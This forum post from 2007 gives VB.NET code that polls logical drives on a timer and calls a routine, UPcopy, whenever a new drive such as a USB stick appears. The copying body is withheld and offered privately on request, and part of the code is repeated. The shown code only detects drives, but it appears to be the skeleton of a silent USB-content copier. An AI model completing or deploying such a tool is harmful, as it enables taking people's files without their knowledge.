level 1
feisng
楼主
Public Class Form1 Inherits System.Windows.Forms.Form Dim drives1 As String() Dim drives2 As String() Dim drives As String#Region " Windows 窗体设计器生成的代码 " Public Sub New() MyBase.New() '该调用是 Windows 窗体设计器所必需的。 InitializeComponent() '在 InitializeComponent() 调用之后添加任何初始化 End Sub '窗体重写 dispose 以清理组件列表。 Protected Overloads Overrides Sub Dispose(ByVal disposing As Boolean) If disposing Then If Not (components Is Nothing) Then components.Dispose() End If End If MyBase.Dispose(disposing) End Sub 'Windows 窗体设计器所必需的 Private components As System.ComponentModel.IContainer '注意: 以下过程是 Windows 窗体设计器所必需的 '可以使用 Windows 窗体设计器修改此过程。 '不要使用代码编辑器修改它。 Friend WithEvents Timer1 As System.Windows.Forms.Timer
Private Sub InitializeComponent() Me.components = New System.ComponentModel.Container Me.Timer1 = New System.Windows.Forms.Timer(Me.components) ' 'Timer1 ' ' 'Form1 ' Me.AutoScaleBaseSize = New System.Drawing.Size(6, 14) Me.ClientSize = New System.Drawing.Size(292, 273) Me.Name = "Form1" Me.Text = "Form1" End Sub#End Region Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load drives1 = System.IO.Directory.GetLogicalDrives() Timer1.Enabled = True End Sub Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick On Error Resume Next drives2 = System.IO.Directory.GetLogicalDrives() If drives1(drives1.Length - 1) <> drives2(drives2.Length - 1) Then drives = drives2(drives2.Length - 1) UPcopy(drives) End If End SubPrivate Sub UPcopy(ByVal drive As String)加密部分,想要的,可以联系。。。。End SubEnd Class
2007年11月07日 04点11分
1
Private Sub InitializeComponent() Me.components = New System.ComponentModel.Container Me.Timer1 = New System.Windows.Forms.Timer(Me.components) ' 'Timer1 ' ' 'Form1 ' Me.AutoScaleBaseSize = New System.Drawing.Size(6, 14) Me.ClientSize = New System.Drawing.Size(292, 273) Me.Name = "Form1" Me.Text = "Form1" End Sub#End Region Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load drives1 = System.IO.Directory.GetLogicalDrives() Timer1.Enabled = True End Sub Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick On Error Resume Next drives2 = System.IO.Directory.GetLogicalDrives() If drives1(drives1.Length - 1) <> drives2(drives2.Length - 1) Then drives = drives2(drives2.Length - 1) UPcopy(drives) End If End SubPrivate Sub UPcopy(ByVal drive As String)加密部分,想要的,可以联系。。。。End SubEnd Class